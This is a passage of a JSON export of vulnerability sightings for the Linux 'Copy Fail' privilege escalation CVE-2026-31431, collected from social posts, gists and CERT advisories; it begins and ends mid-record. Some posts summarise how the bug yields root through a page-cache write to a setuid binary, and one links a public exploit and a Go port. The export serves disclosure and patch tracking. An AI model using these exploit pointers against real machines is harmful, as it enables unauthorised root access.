"Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T05:59:35.594045Z"}, {"uuid": "39e1e651-ec04-40de-b024-89ba388377cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewsbot.bsky.social/post/3mknqqm2i4u2s", "content": "Copy Fail \u2013 CVE-2026-31431 | Discussion", "creation_timestamp": "2026-04-29T18:40:06.449720Z"}, {"uuid": "d191a61b-c863-419e-bf00-f9fef0e47c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/antarcticrainforest/aa784d8f9cd8b0cc25a277cce595d450", "content": "", "creation_timestamp": "2026-04-30T06:43:27.000000Z"}, {"uuid": "eb55972a-0f30-4567-bc35-9cd257be46a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/GottZ/7cb012306afcb77f31b34fb62158d9c3", "content": "", "creation_timestamp": "2026-04-30T06:50:17.000000Z"}, {"uuid": "75ffc174-b880-4439-9034-ee0d28af8839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/c3iq.bsky.social/post/3mkp2hagybs2p", "content": "CVE-2026-31431.  This is not a drill.  copy.fail", "creation_timestamp": "2026-04-30T07:06:29.675242Z"}, {"uuid": "d97ff212-7873-4628-809d-25b46c8fab7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/mschmitt/d2b0a19034e3247428d5c31091ba7bef", "content": "", "creation_timestamp": "2026-04-30T07:09:23.000000Z"}, {"uuid": "bc39a19f-d94c-40f3-810e-f46c1baa6f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/dramforever/b86d29576f69b16b05af45745574a273", "content": "", "creation_timestamp": "2026-04-30T07:14:36.000000Z"}, {"uuid": "ddcde28a-1df0-4d5b-8258-e94096dbcba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/idrassi/8dca804c4ea4268719cb0e8f50638e11", "content": "", "creation_timestamp": "2026-04-30T08:26:25.000000Z"}, {"uuid": "c8c02532-4dbf-45a4-9d43-3a87fc826c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/webcpu/7c928d4740d4b4330646df1041a5ee1e", "content": "", "creation_timestamp": "2026-04-30T08:15:26.000000Z"}, {"uuid": "852158f4-51c4-42d6-a20e-d68664fcd634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ncharles/3b258625474f123b8528a776941e8292", "content": "", "creation_timestamp": "2026-04-30T08:00:13.000000Z"}, {"uuid": "3bf8ba49-14ec-47f4-998c-039c09bc1fbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ottijp.com/post/3mkpby7yr3s2t", "content": "CVE-2026-31431", "creation_timestamp": "2026-04-30T09:21:14.846984Z"}, {"uuid": "576f0ea3-349b-4db7-8980-8fc22482c81f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/alon710/03871871846b38f098edf226a0f312a4", "content": "", "creation_timestamp": "2026-04-30T09:30:28.000000Z"}, {"uuid": "c4840d66-c3cd-493c-aece-05102d6f4cd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://nsm.no/fagomrader/digital-sikkerhet/nasjonalt-cybersikkerhetssenter/varsler-fra-nsm/alvorlig-sarbarhet-i-linux-kjernen", "content": "", "creation_timestamp": "2026-04-30T01:35:52.000000Z"}, {"uuid": "1808df77-623f-4ff0-8541-0a8914f8e3b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/betterhn20.e-work.xyz/post/3mknrdcx42g2o", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (https://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-29T18:50:34.604672Z"}, {"uuid": "5a2386b5-d931-4010-be20-d6cc1a424e83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sagalinked.bsky.social/post/3mknrmu76am2g", "content": "\ud83d\udcf0 Oh no! Another copy fail! The tech world is abuzz with the latest security flaw - CVE-2026-31431. It's like a digital version of \"The Great Gatsby\" - everyone wants to know if it's going to be a disaster or just another chapter in the story. Stay tuned ...\n\n\ud83d\udd17 https://copy.fail/\n\n#Tech #Dev", "creation_timestamp": "2026-04-29T18:55:54.291664Z"}, {"uuid": "4b835726-6fb5-4c99-a76a-756546058f7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kravietz.agora.echelon.pl.ap.brid.gy/post/3mknrnt5npao2", "content": "A nice new #Linux kernel exploit aka CopyFail CVE-2026-31431\n\nhttps://copy.fail/\n\n#infosec", "creation_timestamp": "2026-04-29T18:56:29.902610Z"}, {"uuid": "4ea1ba88-7e24-4c0e-8efa-9748a97f3996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewstop5.bsky.social/post/3mkns2hhn432b", "content": "Copy Fail \u2013 CVE-2026-31431\n\n#HackerNews\n\nhttps://copy.fail/", "creation_timestamp": "2026-04-29T19:03:30.741416Z"}, {"uuid": "a7862b14-fa26-4ce2-b659-3c6541c8bc38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html", "content": "", "creation_timestamp": "2026-04-30T07:24:00.000000Z"}, {"uuid": "afcb455e-30a4-4b10-9f95-73d27acc2340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://cert.europa.eu/publications/security-advisories/2026-005/", "content": "", "creation_timestamp": "2026-04-30T07:25:30.000000Z"}, {"uuid": "970d7846-a00c-49d9-99c5-0e4139a05fae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pavel.social.kernel.org.ap.brid.gy/post/3mkq2yq3symd2", "content": "CVE-2026-31431", "creation_timestamp": "2026-04-30T16:49:45.470865Z"}, {"uuid": "fff8b7b1-d16a-425f-9d4c-940084e826a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/4/copy-fail-kritische-linux-kernel-schwachstelle-ermoglicht-lokale-root-rechte", "content": "", "creation_timestamp": "2026-04-30T07:12:27.000000Z"}, {"uuid": "4b50b26c-efe9-4284-b49e-28fbe19ed2cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/bram/9b48732e03d15257f31134caea8600f2", "content": "", "creation_timestamp": "2026-04-30T10:01:41.000000Z"}, {"uuid": "3b2d6750-c3f2-43b5-a8e0-d3bd636dd29d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/reduanmasud/e4e2f5d0e7bc58d162ee306d58afe2c0", "content": "", "creation_timestamp": "2026-04-30T17:13:48.000000Z"}, {"uuid": "f9290da6-45c3-4c1c-bc1b-f378c5105d44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tildes.bsky.social/post/3mkpeu57l3q2w", "content": "Linux priveledge escalation (CVE-2026-31431) (@copy.fail)\n\nMain Link | Discussion", "creation_timestamp": "2026-04-30T10:12:39.572481Z"}, {"uuid": "08e98e47-c5f7-4d7c-8fd2-ea291303ecf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/gormih/faa271309205184d220f2eeb6ac8fb4e", "content": "", "creation_timestamp": "2026-04-30T10:37:23.000000Z"}, {"uuid": "e727d523-66fc-4e21-8b36-8c1cd2174625", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/agentwyre.ai/post/3mknsdz5qn22u", "content": "\ud83d\udd34 Copy Fail (CVE-2026-31431) gives unprivileged users a reliable Linux root path across mainstream distros\n\nCopy Fail, tracked as CVE-2026-31431, is a newly disclosed local privilege escalation bug in Linux that researchers say can reliably turn an unprivileged...\n\nhttps://copy.fail/\n\n#AI #AgentWyre", "creation_timestamp": "2026-04-29T19:08:50.870269Z"}, {"uuid": "98a17e57-8a4e-4027-9432-5e063a6b3f51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/betterhn50.e-work.xyz/post/3mknsouqjld2g", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (https://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-29T19:14:55.776642Z"}, {"uuid": "3b49af04-0b18-4ee6-9646-4fb358f5df2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn100.atproto.rocks/post/3mknspk4xq72s", "content": "Copy Fail \u2013 CVE-2026-31431\nhttps://copy.fail/\n\nhttps://news.ycombinator.com/item?id=47952181", "creation_timestamp": "2026-04-29T19:15:17.974203Z"}, {"uuid": "1117f125-651a-42a2-b85c-78c2b8fb7514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/_8DZ7q8HXGubn2asS1SNYbdiSRV4J0KvfO1R9whXYUDjGA", "content": "", "creation_timestamp": "2026-04-30T18:41:24.000000Z"}, {"uuid": "7c6c2607-cc0a-46f8-b9ab-02a83048f8aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/giggls.bsky.geggus.net/post/3mknstexztiu2", "content": "Hm https://security-tracker.debian.org/tracker/CVE-2026-31431", "creation_timestamp": "2026-04-29T19:17:30.609877Z"}, {"uuid": "93d427a1-5a80-42cf-b7d5-6a82d8cafdec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/XJFCu5UGSlf8LdrBjxjYOz5idEEI2EMesOUI85-NmJpK1tU", "content": "", "creation_timestamp": "2026-04-30T03:00:10.000000Z"}, {"uuid": "6a70f530-0cf8-4bf5-87e7-a4797e45ea83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mknthngxik26", "content": "Time to talk about this one.\n\nCopyFail (CVE-2026-31431) \u2014 a 732-byte Python script that roots every Linux distro shipped since 2017.\n\n\ud83d\udd01 RT @brian_pak | reposted by @hasherezade\nhttps://x.com/brian_pak/status/2049533584097362272", "creation_timestamp": "2026-04-29T19:28:46.262945Z"}, {"uuid": "4bc882f1-9bb7-433b-8841-e96ca732f841", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/g0xa52a2a.bsky.social/post/3mkntolp2u22w", "content": "CVE-2026-31431 is going to be one for the history books \ud83d\ude43\n\ncopy.fail", "creation_timestamp": "2026-04-29T19:32:42.539551Z"}, {"uuid": "caf9ecbf-6a7d-49e9-818f-c4888139a9d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsycombinatorbot.bsky.social/post/3mkntx2xszb2r", "content": "Copy Fail \u2013 CVE-2026-31431 (copy.fail)\n\nDiscussion | Main Link", "creation_timestamp": "2026-04-29T19:37:23.650885Z"}, {"uuid": "c4093d42-ed7c-43a2-929c-3c1fbcf3eece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn-frontpage-bot.bsky.social/post/3mknu3a45lo2n", "content": "A critical Linux vulnerability, \"Copy Fail\" (CVE-2026-31431), allows unprivileged local users to gain root access. Affecting all Linux distros since 2017, it's a 100% reliable logic flaw, not a race condition, and can lead to container escapes.", "creation_timestamp": "2026-04-29T19:39:43.956707Z"}, {"uuid": "dfeda009-4b03-4324-9324-de388a79700e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://mstdn.social/users/jschauma/statuses/116489699707306146", "content": "Ooooh, nice:\nhttps://xint.io/blog/copy-fail-linux-distributions\nCVE-2026-31431: Local privilege escalation to root using a trivial 732 byte python script for pretty much every Linux distribution since 2017.\n#CopyFail", "creation_timestamp": "2026-04-29T19:42:37.387249Z"}, {"uuid": "709c1b74-7dc7-4c87-a280-905467cfbe22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3mknuakdijtq2", "content": "Ooooh, nice:\n\nhttps://xint.io/blog/copy-fail-linux-distributions\n\nCVE-2026-31431: Local privilege escalation to root using a trivial 732 byte python script for pretty much every Linux distribution since 2017.\n\n#CopyFail", "creation_timestamp": "2026-04-29T19:42:45.645246Z"}, {"uuid": "f2508d8f-9fb3-46f1-a135-8b3212987bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewsrobot.bsky.social/post/3mknupcyraq2c", "content": "Copy Fail \u2013 CVE-2026-31431", "creation_timestamp": "2026-04-29T19:50:57.810485Z"}, {"uuid": "b872623f-f84d-4be1-8589-c6cb21bbbc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsyc200.bsky.social/post/3mknwjhmpnz2m", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (http://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-29T20:23:28.594842Z"}, {"uuid": "15d89919-b6c8-4072-ab16-ce558b3f38ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe1c94f", "content": "", "creation_timestamp": "2026-04-29T20:24:46.000000Z"}, {"uuid": "f175f877-00d4-4670-b9fc-2e8f6c95423d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/jeht1hlPckgqiNrYmKXPjtYBl6Ckbf5A93GyXLRwxjRq970", "content": "", "creation_timestamp": "2026-05-03T09:00:04.000000Z"}, {"uuid": "34a22a4e-6b27-4b2b-9536-a4dfcebf0e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/FLV6t7Va3c__w7z9N_mSu7nucQbg4vUfz1QpezNhFqmT_OM", "content": "", "creation_timestamp": "2026-05-02T21:00:04.000000Z"}, {"uuid": "25238001-d1d6-4f6a-ab2b-29dd1a7918a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/MurpDVre-4LCYzH5BvUtvVRvpJ9yqT35RKsHtthqDCH1oSA", "content": "", "creation_timestamp": "2026-05-03T03:00:05.000000Z"}, {"uuid": "6496ada0-1f11-4e01-aa84-20ed8fb71f23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/cYbomHaTGTLOs95SVGZEas4XOSbbs1P0dkn6F8I8p6igQwc", "content": "", "creation_timestamp": "2026-05-02T15:00:06.000000Z"}, {"uuid": "1320ed87-aaba-4415-ac0e-b3f7bb2f3fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mknxngmmqk2z", "content": "La IA ha ajudat a descobrir una nova vulnerabilitat cr\u00edtica a Linux: CVE-2026-31431 \u201cCopy Fail\u201d\nUn \u00fanic script Python de 732 l\u00ednies permet a qualsevol usuari local obtenir acc\u00e9s root en pr\u00e0cticament tots els sistemes Linux des de 2017.\n\ncopy.fail", "creation_timestamp": "2026-04-29T20:43:39.336097Z"}, {"uuid": "63c10239-afc1-4910-87c4-0826a30042b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mknxobha532x", "content": "CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-29T20:44:06.150772Z"}, {"uuid": "802becb1-9d54-45d3-9e9e-a224266c3eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/3a2jD3gjNHncLnKc8fyr9DC3SGOgXMvvZ9Cx1ndl6893LxY", "content": "", "creation_timestamp": "2026-05-02T09:00:04.000000Z"}, {"uuid": "be0d0c87-ae23-44cb-baef-459249ef8970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/linux-kernel-elevation-of-privilege-vulnerability_20260504", "content": "", "creation_timestamp": "2026-05-03T18:45:00.000000Z"}, {"uuid": "94932710-1e7e-40a5-ba6b-b3ee9d40f7fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fussycoder.bsky.social/post/3mkny2aetks2g", "content": "Welp, CVE-2026-31431  is exciting... \ud83d\udc40\ud83d\ude31", "creation_timestamp": "2026-04-29T20:50:44.587316Z"}, {"uuid": "b979ab0d-268b-4c1f-bdfe-1b437f4c509a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/P0x3k_1N73LL1G3NC3/339", "content": "Copy Fail\u2014 Linux LPE (CVE-2026-31431)\n\nA logic bug in the Linux kernel's authencesncryptographic template. It lets an unprivileged local user trigger a deterministic, controlled 4-byte write into the page cache of any readable file on the system. A single 732-byte Python script can edit a setuid binary and obtain root on essentially all Linux distributions shipped since 2017.\n\nExploit: https://github.com/theori-io/copy-fail-CVE-2026-31431\n\nA 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE.", "creation_timestamp": "2026-04-29T19:58:35.000000Z"}, {"uuid": "925b5176-fe0d-47db-8036-35b48b4cbb75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/m1ddl3w4r3/cdf95ac103d819eab7100f6b3d7c7f2f", "content": "", "creation_timestamp": "2026-04-29T21:01:14.000000Z"}, {"uuid": "558edd6d-5e33-4142-a144-da4398164d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsyc250.bsky.social/post/3mknyr5hmok2a", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (http://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-29T21:03:33.751818Z"}, {"uuid": "396e0df9-407f-438f-9320-9df1c2c75239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mknyu5g6kzo2", "content": "Copy Fail (CVE-2026-31431) is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms. ht...\n\n#r/sysadmin\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-29T21:05:18.702703Z"}, {"uuid": "381f58ba-cccf-4e52-8ea9-020e6dfddff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/P0x3k_1N73LL1G3NC3/342", "content": "CopyFail-go\n\nCopyFail (CVE-2026-31431) in Go. In case you want to get root from a static binary without Python as a dependency.", "creation_timestamp": "2026-04-30T18:38:25.000000Z"}, {"uuid": "a2ab5bc1-07b9-45ed-bc61-de8ea19e2add", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mkzyhwb6zh27", "content": "\ud83d\udd17 CVE : CVE-2026-31431, CVE-2026-341431", "creation_timestamp": "2026-05-04T15:30:21.683811Z"}, {"uuid": "83b07711-6482-47aa-8c7c-7b07b2650a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/valere.hostux.social.ap.brid.gy/post/3mkrginetjbl2", "content": "https://security-tracker.debian.org/tracker/CVE-2026-31431\n\nPatched kernel for Debian 13 Trixie\n\n#CopyFAil", "creation_timestamp": "2026-05-01T05:47:25.411150Z"}, {"uuid": "0fe4ee51-5305-4026-bf5e-a3ed46a3f361", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml2au4kdt52u", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T18:00:20.516442Z"}, {"uuid": "65ac8204-7f5a-4ce8-9f5d-4967a1029e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml2d44phkd2e", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T18:40:36.395086Z"}, {"uuid": "d581d4e3-958e-4297-b219-55d7b443b8a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/tgies/e6db71355e3a930dd72c4e0f25f4dd26", "content": "", "creation_timestamp": "2026-04-29T21:13:56.000000Z"}, {"uuid": "0ec1511f-59a0-474d-b1ed-68632be8706f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/what.tf/post/3mko32tio7c2m", "content": "\ud83d\udea8 CVE-2026-31431 (Copy Fail)\nGo patch all your Linux distros ASAP.\n\nTL; DR: Easy and portable Linux privilege escalation, a local user is able to become root with very little prerequisites. All major distros affected.\n\ncopy.fail\nxint.io/blog/copy-fa...\nsecurity-tracker.debian.org/tracker/CVE-...", "creation_timestamp": "2026-04-29T21:44:49.008005Z"}, {"uuid": "f23cfa1d-3744-473a-a897-4824c02e33bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/alice-bot-yay.bsky.social/post/3mko3ezrmcs27", "content": "a 732-byte exploit that silently rooted every linux distro since 2017. one logic bug chained through three kernel mechanisms into a 4-byte page-cache write. no race, no offsets \u2014 just a straight line through the architecture. cve-2026-31431", "creation_timestamp": "2026-04-29T21:50:28.451461Z"}, {"uuid": "9af1a511-6597-4b41-8473-25197d3ee093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/what.tf/post/3mko4f4smak24", "content": "\ud83d\udea8 CVE-2026-31431 (Copy Fail)\nGo patch all 